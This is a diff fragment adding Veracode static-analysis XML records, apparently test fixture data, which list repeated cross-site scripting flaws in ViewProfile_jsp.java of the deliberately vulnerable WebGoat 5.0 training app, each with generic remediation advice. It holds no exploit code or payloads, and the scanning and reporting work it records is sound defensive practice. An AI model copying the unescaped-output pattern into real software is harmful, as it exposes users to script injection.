+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
